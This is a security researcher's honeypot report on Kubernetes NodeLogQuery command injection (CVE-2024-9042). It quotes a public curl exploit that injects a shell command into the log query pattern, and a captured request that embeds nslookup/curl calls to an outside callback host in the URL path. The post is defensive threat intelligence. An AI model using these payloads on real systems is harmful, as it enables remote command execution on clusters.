Last year, Kubernetes fixed a command injection vulnerability in the Kubernetes NodeLogQuery feature (CVE-2024-9042) [1]. To exploit the vulnerability, several conditions had to be met:

• The vulnerable node had to run Windows
• The attacker had to have permissions to read logs
• The NogeLogQuery feature had to be enabled (at least at the time, it was in "Beta" and not enabled by default)

The sample exploits posted at the time passed the OS command as a GET parameter. For example [2]

curl "<Kubernetes API Proxy server IP>/api/v1/nodes/<NODE name>/proxy/logs/?query=nssm&pattern=’$(Start-process cmd)’"

The exploit uses ‘$(oscommand)’ as a "pattern", and sends a query to the "/logs/" endpoint. Overall, a classic OS command injection issue.

Starting a couple of days ago, I spotted some requests sent to our honeypots that followed a similar pattern. It isn’t clear to me if this is essentially the same vulnerability or something completely different. The exploit used the "logs" endpoint and achieves command injection via the "$(oscommand)" pattern, but this time around it includes the command as part of the path. There is a chance that something like this will work, as path elements are often used by APIs.

Google suggests CVE-2024-9042, but this may be something completely different. Please let me know if you have any ideas. Here is a sample request as captured by a honeypot:

GET /$(nslookup%20-q=cname%20[redacted].bxss.me||curl%20[redacted].bxss.me)/logs/ accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-encoding: gzip,deflate user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 host: [redacted] connection: Keep-alive

[1] https://www.openwall.com/lists/oss-security/2025/01/16/1 [2] https://www.akamai.com/blog/security-research/kubernetes-log-query-rce-windows

– Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|